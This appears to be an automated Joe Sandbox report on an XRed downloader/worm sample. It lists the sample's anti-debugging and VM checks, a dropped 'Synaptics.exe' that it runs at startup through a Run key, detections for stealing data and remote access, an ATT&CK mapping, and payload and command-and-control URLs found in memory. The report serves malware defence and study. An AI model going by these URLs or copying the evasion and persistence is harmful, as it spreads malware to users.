Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000
Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000

Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: Amcache.hve.13.dr	Binary or memory string: VMware
Source: Amcache.hve.13.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.13.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.13.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.13.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.13.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.13.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.13.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Synaptics.exe, 00000002.00000002.3083960737.0000000000836000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1762840004.000000000082A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083960737.0000000000831000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.13.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Synaptics.exe, 00000002.00000002.3083960737.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: Amcache.hve.13.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.13.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.13.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.13.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.13.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.13.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.13.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.13.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.13.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.13.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.13.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.13.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.13.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.13.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.13.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.13.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.13.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.13.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.13.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.13.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Process information queried: ProcessInformation

Jump to behavior

Source: C:\ProgramData\Synaptics\Synaptics.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe

Code function: 1_2_004073FA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

1_2_004073FA

Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe

Code function: 1_2_00405260 LoadLibraryA,GetProcAddress,WideCharToMultiByte,CoTaskMemFree,FreeLibrary,lstrcpyA,

1_2_00405260

Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe

Code function: 1_2_0040559F GetStartupInfoA,GetProcessHeap,GetProcessHeap,HeapAlloc,_fast_error_exit,GetVersionExA,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,_fast_error_exit,_fast_error_exit,__RTC_Initialize,__amsg_exit,GetCommandLineA,___crtGetEnvironmentStringsA,__setargv,__amsg_exit,__setenvp,__amsg_exit,__cinit,__amsg_exit,__wincmdln,

1_2_0040559F

Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Code function: 1_2_00405A95 SetUnhandledExceptionFilter,	1_2_00405A95
Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Code function: 1_2_004073FA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_004073FA
Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Code function: 1_2_00405789 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00405789
Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Code function: 1_2_00409BA3 _raise,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00409BA3

Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Process created: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe "C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe"			Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate			Jump to behavior

Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe

Code function: 1_2_00407192 cpuid

1_2_00407192

Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe

Code function: GetLocaleInfoA,

1_2_0040B16C

Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe

Code function: 1_2_004070A6 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

1_2_004070A6

Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe

Code function: 1_2_004051F0 GetVersionExA,DialogBoxParamA,

1_2_004051F0

Source: Amcache.hve.13.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.13.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.13.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.13.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected XRed

Source: Yara match	File source: ZmrwoZsbPp.exe, type: SAMPLE
Source: Yara match	File source: 0.0.ZmrwoZsbPp.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1634249555.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ZmrwoZsbPp.exe PID: 6308, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\Synaptics\RCXA37B.tmp, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\AIXACVYBSB\~$cache1, type: DROPPED

Remote Access Functionality

Yara detected XRed

Source: Yara match	File source: ZmrwoZsbPp.exe, type: SAMPLE
Source: Yara match	File source: 0.0.ZmrwoZsbPp.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1634249555.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ZmrwoZsbPp.exe PID: 6308, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\Synaptics\RCXA37B.tmp, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\AIXACVYBSB\~$cache1, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	41 Scripting	1 Replication Through Removable Media	1 Native API	41 Scripting	11 Process Injection	12 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Query Registry	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 DLL Side-Loading	11 Process Injection	Security Account Manager	141 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	34 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	21 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 Peripheral Device Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	4 File and Directory Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	34 System Information Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
ZmrwoZsbPp.exe	92%	ReversingLabs	Win32.Worm.Zorex
ZmrwoZsbPp.exe	100%	Avira	TR/Dldr.Agent.SH
ZmrwoZsbPp.exe	100%	Avira	W2000M/Dldr.Agent.17651006
ZmrwoZsbPp.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\Documents\AIXACVYBSB\~$cache1	100%	Avira	TR/Dldr.Agent.SH
C:\Users\user\Documents\AIXACVYBSB\~$cache1	100%	Avira	W2000M/Dldr.Agent.17651006
C:\ProgramData\Synaptics\Synaptics.exe	100%	Avira	TR/Dldr.Agent.SH
C:\ProgramData\Synaptics\Synaptics.exe	100%	Avira	W2000M/Dldr.Agent.17651006
C:\ProgramData\Synaptics\RCXA37B.tmp	100%	Avira	TR/Dldr.Agent.SH
C:\ProgramData\Synaptics\RCXA37B.tmp	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Users\user\Documents\AIXACVYBSB\~$cache1	100%	Joe Sandbox ML
C:\ProgramData\Synaptics\Synaptics.exe	100%	Joe Sandbox ML
C:\ProgramData\Synaptics\RCXA37B.tmp	100%	Joe Sandbox ML
C:\ProgramData\Synaptics\Synaptics.exe	92%	ReversingLabs	Win32.Worm.Zorex
C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	0%	ReversingLabs

Name	IP	Active	Malicious	Reputation
freedns.afraid.org	69.42.215.252	true	false	high
docs.google.com	142.250.181.14	true	false	high
drive.usercontent.google.com	142.250.181.33	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
xred.mooo.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
xred.mooo.com	false		high
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://xred.site50.net/syn/SSLLibrary.dl	ZmrwoZsbPp.exe, 00000000.00000003.1641144301.0000000002250000.00000004.00001000.00020000.00000000.sdmp	false	high
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=	ZmrwoZsbPp.exe, 00000000.00000003.1641144301.0000000002250000.00000004.00001000.00020000.00000000.sdmp	false	high
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1	ZmrwoZsbPp.exe, 00000000.00000000.1634249555.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000002.00000002.3084422661.0000000002130000.00000004.00001000.00020000.00000000.sdmp, ~$cache1.2.dr, Synaptics.exe.0.dr, RCXA37B.tmp.0.dr	false	high
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1	ZmrwoZsbPp.exe, 00000000.00000000.1634249555.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000002.00000002.3084422661.0000000002130000.00000004.00001000.00020000.00000000.sdmp, ~$cache1.2.dr, Synaptics.exe.0.dr, RCXA37B.tmp.0.dr	false	high
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1	ZmrwoZsbPp.exe, 00000000.00000003.1641144301.0000000002250000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3084422661.0000000002130000.00000004.00001000.00020000.00000000.sdmp, ~$cache1.2.dr, Synaptics.exe.0.dr, ~DF21A6BD85C480FA99.TMP.3.dr, RCXA37B.tmp.0.dr	false	high
https://docs.google.com/X	Synaptics.exe, 00000002.00000003.1762590024.000000000556A000.00000004.00000020.00020000.00000000.sdmp	false	high
http://xred.site50.net/syn/SUpdate.ini	ZmrwoZsbPp.exe, 00000000.00000003.1641144301.0000000002250000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3084422661.0000000002130000.00000004.00001000.00020000.00000000.sdmp, ~$cache1.2.dr, Synaptics.exe.0.dr, RCXA37B.tmp.0.dr	false	high
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978p	ZmrwoZsbPp.exe, 00000000.00000003.1641144301.0000000002250000.00000004.00001000.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/	Synaptics.exe, 00000002.00000003.1762590024.000000000556A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3160506345.000000003D712000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3115285247.000000001E35E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.0000000005523000.00000004.00000020.00020000.00000000.sdmp	false	high
http://xred.site50.net/syn/Synaptics.rar	ZmrwoZsbPp.exe, 00000000.00000003.1641144301.0000000002250000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3084422661.0000000002130000.00000004.00001000.00020000.00000000.sdmp, ~$cache1.2.dr, Synaptics.exe.0.dr, RCXA37B.tmp.0.dr	false	high
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dlP	ZmrwoZsbPp.exe, 00000000.00000003.1641144301.0000000002250000.00000004.00001000.00020000.00000000.sdmp	false	high
https://docs.google.com/uc?id=0;	Synaptics.exe, 00000002.00000002.3138964913.0000000030DFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3086659147.0000000006AFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3152479352.000000003B9FE000.00000004.00000010.00020000.00000000.sdmp	false	high
https://docs.google.com/user	Synaptics.exe, 00000002.00000003.1762590024.000000000556A000.00000004.00000020.00020000.00000000.sdmp	false	high
http://xred.site50.net/syn/SSLLibrary.dll	ZmrwoZsbPp.exe, 00000000.00000000.1634249555.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000002.00000002.3084422661.0000000002130000.00000004.00001000.00020000.00000000.sdmp, ~$cache1.2.dr, Synaptics.exe.0.dr, RCXA37B.tmp.0.dr	false	high
https://docs.google.com/	Synaptics.exe, 00000002.00000003.1762590024.000000000556A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3160506345.000000003D712000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3156832203.000000003D582000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083960737.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1762861959.0000000000824000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3117496416.000000001E480000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001E044000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083960737.0000000000824000.00000004.00000020.00020000.00000000.sdmp	false	high
https://docs.google.com/a	Synaptics.exe, 00000002.00000002.3160506345.000000003D712000.00000004.00000020.00020000.00000000.sdmp	false	high
https://docs.google.com/google.com/	Synaptics.exe, 00000002.00000003.1762590024.000000000556A000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.181.14	docs.google.com	United States	15169	GOOGLEUS	false
142.250.181.33	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
69.42.215.252	freedns.afraid.org	United States	17048	AWKNET-LLCUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1569628
Start date and time:	2024-12-06 00:14:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ZmrwoZsbPp.exe renamed because original name is a hash value
Original Sample Name:	385e9152c8a7fbf298cc12b319f0077e78ec9a1901adda0b4b9a48d23adc1370.exe
Detection:	MAL
Classification:	mal100.troj.expl.evad.winEXE@11/43@21/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 16 Number of non-executed functions: 21
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, sppsvc.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.109.32.97, 52.113.194.132, 23.218.208.109, 20.42.73.24, 20.42.73.29
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.afd.azureedge.net, onedscolprdeus03.eastus.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, ecs-office.s-0005.s-msedge.net, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, onedsblobprdeus15.eastus.cloudapp.azure.com, officeclient.microsoft.com, ukw-azsc-config.officeapps.live.com, prod.fs.microsoft.com.akadns.net, ecs.office.com, self-events-data.trafficmanager.net, fs.microsoft.com, otelrules.azureedge.net, prod.configsvc1.live.com.akadns.net, self.events.data.microsoft.com, ctldl.windowsupdate.com, s-0005-office.config.skype.com, fe3cr.delivery.mp.microsoft.com, s-0005.s-msedge.net, config.officeapps.live.com, blobcollector.events.data.trafficmanager.net, azureedge-t-prod.trafficmanager.net, umwatson.events.data.microsoft.com, ecs.office.trafficmanager.net, europe.configsvc1.live.com.akadns.net
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: ZmrwoZsbPp.exe

Simulations

Behavior and APIs

Time	Type	Description
18:14:58	API Interceptor	899x Sleep call for process: Synaptics.exe modified
18:16:55	API Interceptor	3496648x Sleep call for process: splwow64.exe modified
18:16:58	API Interceptor	2x Sleep call for process: WerFault.exe modified
23:14:54	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver C:\ProgramData\Synaptics\Synaptics.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.63	Contract Proposal Documents.pdf	Get hash	malicious	Unknown	Browse	assets-gbr.mkt.dynamics.com/cc57758b-ada1-ef11-8a64-000d3a872ba0/digitalassets/standaloneforms/645a21a8-32ac-ef11-b8e8-6045bd0f229c
69.42.215.252	ccmsetup.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Synaptics.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	RezQY7jWu8.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Dzsb.Qyd.Install.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Bank Information Details.bat	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	System Volume Information.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	P4.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Supplier RFQ ID 365242213q___________________________pdf.exe	Get hash	malicious	Snake Keylogger, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Synaptics.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	C5Nbn7P6GJ.exe	Get hash	malicious	XRed, XWorm	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0035.t-0009.t-msedge.net	ccmsetup.exe	Get hash	malicious	XRed	Browse	13.107.246.63
	https://www.freelancer.com/users/login-quick.php?token=02fff9bf9f8b7efe683f539f10a258726ae01239eb8f0b9b57526578d393fc63&url=https%3A%2F%2Fwww.google.com.bn%2Furl%3Ffnc%3Da9XTEoexMBpyPYn99soX%26ndp%3Dm6lKEDZMuBIQeZn7RBkX%26sa%3Dt%26pfuv%3DBY2IJKbokHGBEdfDSRyz%26ncbe%3DtA02sXUJ4dkStFSKl5Bg%26db%3DoBemf3zEg5VOxgJRxd3H%26fg%3DSSndprYXntqQtLjEHziw%26url%3Damp%252Ffileshareinfoviewnow.s3-website.us-east-2.amazonaws.com&user_id=1719536768&uniqid=76018695-412152-662ef280-88c3b518&linkid=6	Get hash	malicious	Unknown	Browse	13.107.246.63
	https://assets-gbr.mkt.dynamics.com/cc57758b-ada1-ef11-8a64-000d3a872ba0/digitalassets/standaloneforms/7608c709-85a2-ef11-8a69-7c1e5279b2dd	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	13.107.246.63
	https://url.us.m.mimecastprotect.com/s/tWC_CNkXmJcoqkvlsmfBIyQP6j?domain=assets-gbr.mkt.dynamics.com	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Stealc	Browse	13.107.246.63
	re.exe	Get hash	malicious	Neshta	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Stealc	Browse	13.107.246.63
	Lab 9_exe.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
freedns.afraid.org	ccmsetup.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	Synaptics.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	RezQY7jWu8.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	Dzsb.Qyd.Install.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	Bank Information Details.bat	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	System Volume Information.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	P4.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	Supplier RFQ ID 365242213q___________________________pdf.exe	Get hash	malicious	Snake Keylogger, XRed	Browse	69.42.215.252
	Synaptics.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	C5Nbn7P6GJ.exe	Get hash	malicious	XRed, XWorm	Browse	69.42.215.252

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://www.freelancer.com/users/login-quick.php?token=02fff9bf9f8b7efe683f539f10a258726ae01239eb8f0b9b57526578d393fc63&url=https%3A%2F%2Fwww.google.com.bn%2Furl%3Ffnc%3Da9XTEoexMBpyPYn99soX%26ndp%3Dm6lKEDZMuBIQeZn7RBkX%26sa%3Dt%26pfuv%3DBY2IJKbokHGBEdfDSRyz%26ncbe%3DtA02sXUJ4dkStFSKl5Bg%26db%3DoBemf3zEg5VOxgJRxd3H%26fg%3DSSndprYXntqQtLjEHziw%26url%3Damp%252Ffileshareinfoviewnow.s3-website.us-east-2.amazonaws.com&user_id=1719536768&uniqid=76018695-412152-662ef280-88c3b518&linkid=6	Get hash	malicious	Unknown	Browse	13.107.137.11
	ccmsetup.exe	Get hash	malicious	XRed	Browse	13.107.246.63
